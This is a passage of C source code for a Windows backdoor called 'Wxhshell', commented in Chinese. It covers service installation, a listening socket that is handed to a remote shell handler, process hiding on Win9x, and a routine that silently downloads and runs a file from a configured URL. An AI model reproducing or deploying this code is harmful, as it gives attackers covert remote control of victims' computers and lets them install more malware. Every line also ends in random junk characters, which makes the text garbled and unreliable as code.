} PROCESS_BASIC_INFORMATION; 98"z0nI%
sYW1T @
PROCNTQSIP NtQueryInformationProcess; 4okHAv8;
n]kQtjJ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fS8XuT
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ d(Ks9
FcJ.)U
HANDLE hProcess; ,Yiq$Z{qQ
PROCESS_BASIC_INFORMATION pbi; U>3%!83kF
$A5B{2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); soFvrl^Ql+
if(NULL == hInst ) return 0; @eAGN|C5
o{YW
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~ ]m@k'n
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dd
@COP?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +w_MSj#P
J"a2
@S&
if (!NtQueryInformationProcess) return 0; 8H$@Xts
kOlI?wc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P5ESrZ@f
if(!hProcess) return 0; VygXhh^7\
[|m>vY!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &})4?5
||"":K
CloseHandle(hProcess); gn4g 43
7oqn;6<[>,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c=jTs+h'
if(hProcess==NULL) return 0; *n$m;yI
z!Pdivx
HMODULE hMod; i85+p2i7
char procName[255]; hz>yv@1
unsigned long cbNeeded; S{`!9Pii
F?+Uar|-a
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HCe-]nMd
o+6^|RP
CloseHandle(hProcess); J T0,Z
!@]h@MC$7
if(strstr(procName,"services")) return 1; // 以服务启动 K_w0+oY a
h\: tUEg#J
return 0; // 注册表启动 rwV u?W
} D=pI'5&
v=yI#5
// 主模块 .-1{,o/&Q
int StartWxhshell(LPSTR lpCmdLine) !MG>z\:
{ L{o >D"
SOCKET wsl; +'YSpJ
BOOL val=TRUE; ZCOuv6V+
int port=0; *|.yX%"k
struct sockaddr_in door; Ow&'sR'CX
Y;I(6`,Y
if(wscfg.ws_autoins) Install(); V=8{CmqT
=:R[gdA#1
port=atoi(lpCmdLine); )eedfb1
%]= 'Uv^x
if(port<=0) port=wscfg.ws_port; CH R?i1e
O<H@:W#k
WSADATA data; w1!\L_::Y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q5K/+N^2?
)uv$tnP*
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lG^mW\O
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L-X
_b3E\
door.sin_family = AF_INET; #D*J5k>2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *7D$;?"
door.sin_port = htons(port); OHa{!SaL
"
:nVigw&
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;r@R (Squ
closesocket(wsl); bUg 2Bm!y
return 1; \5L 4*
} %;\2QI`R
dQ2i{A"BKz
if(listen(wsl,2) == INVALID_SOCKET) { S r#fyr
closesocket(wsl); HU.6L'H*
return 1; Ul~}@^m]4}
} Ivgwm6M
Wxhshell(wsl); M6 >\R$
WSACleanup(); /-<m(72wF
9[]"%6
return 0; gQzJ2LU(
1_E3DXe
} ^{]sD}Q"
HuLm!tCu
// 以NT服务方式启动 fB ,!|u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tk@g9\6O9
{ h/y}
DWORD status = 0; -r2qIt
DWORD specificError = 0xfffffff; BKlc{=
*]UEF_
serviceStatus.dwServiceType = SERVICE_WIN32; JMe[
.Sx
serviceStatus.dwCurrentState = SERVICE_START_PENDING; fm2M i~}0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :aFpz6<
serviceStatus.dwWin32ExitCode = 0; +M%2m3.Jo
serviceStatus.dwServiceSpecificExitCode = 0; !v;_@iW3e
serviceStatus.dwCheckPoint = 0; h,jAtL!
serviceStatus.dwWaitHint = 0; q-)_Qco
(R
2P<
Zr
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R"kE5:
if (hServiceStatusHandle==0) return; Chi<)P$^
l$_+WC*wp
status = GetLastError(); l?<z1Acd&
if (status!=NO_ERROR) Cot\i\]jv
{ g1!L.
On
serviceStatus.dwCurrentState = SERVICE_STOPPED; ke6cZV5w
serviceStatus.dwCheckPoint = 0; hy`)]>9z~
serviceStatus.dwWaitHint = 0; oX]1>#5UMg
serviceStatus.dwWin32ExitCode = status; |"E9DD]{
serviceStatus.dwServiceSpecificExitCode = specificError; L}S4Zz18
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?kxWj(D
return; M{kh=b)V
} 2]3Jb{8FI>
g4qdm{BL
serviceStatus.dwCurrentState = SERVICE_RUNNING; xwp?2,<
serviceStatus.dwCheckPoint = 0; C-
Rie[
serviceStatus.dwWaitHint = 0; YaZ"&i
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9TN5|x
} ML"P"&~u6
-/{}^QWB
// 处理NT服务事件,比如:启动、停止 &``oZvuB
VOID WINAPI NTServiceHandler(DWORD fdwControl) V4i%|vV
{ N S}`(N
switch(fdwControl) ]SR`96vG
{ < 3+&DV-<N
case SERVICE_CONTROL_STOP: `Q^Sm`R
serviceStatus.dwWin32ExitCode = 0; KIl.?_61O
serviceStatus.dwCurrentState = SERVICE_STOPPED; m-FDCiN>
serviceStatus.dwCheckPoint = 0; &B,& *Lp
serviceStatus.dwWaitHint = 0; RvZ-w$E&?
{ T[=cKYp8\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qi]Z)v{^
} xi^e =:;`
return; 3kQ8*S
case SERVICE_CONTROL_PAUSE: 54DR .>O
serviceStatus.dwCurrentState = SERVICE_PAUSED; /<(ik&%N
break; 2/q=l?
case SERVICE_CONTROL_CONTINUE: ]<z(Rmn`Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; ffd3QQ
break; ]c=1-Rl
case SERVICE_CONTROL_INTERROGATE: 0BD((oNg
break; (SVr>|Db
}; &+iW:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D)Rf
} 0lh6b3tdP
yC*B OJS
// 标准应用程序主函数 1)r _h(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U+M?<4J)"
{ cyeDZ)
0\^2HjsJ
// 获取操作系统版本 ]Wm ?<7H
OsIsNt=GetOsVer(); &nw~gSe
GetModuleFileName(NULL,ExeFile,MAX_PATH); !T(Omve)
YEoT_>A$dB
// 从命令行安装 V
*y
if(strpbrk(lpCmdLine,"iI")) Install(); 2,nCGSfc
d+ko"F|
// 下载执行文件 [mvHa;-w
if(wscfg.ws_downexe) { Hxi=\2-
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y.
tFqzo3
WinExec(wscfg.ws_filenam,SW_HIDE); '+tT$k
} ,WK$jHG]
jn Y3G
if(!OsIsNt) { ]}y'3aW
// 如果时win9x,隐藏进程并且设置为注册表启动 -s "$I:v
HideProc(); xmx;tq
StartWxhshell(lpCmdLine); VjMuU"++@
} 4ux5G`oL
else x^skoz
if(StartFromService()) oF^hq-xcP
// 以服务方式启动 ,lM2BXz%
StartServiceCtrlDispatcher(DispatchTable); cBf{R^>Fd
else c)fp;^
// 普通方式启动 8{t&8Ql n
StartWxhshell(lpCmdLine); 6^u(PzlA|~
5)<jPyC
return 0; (.+n1)L?
}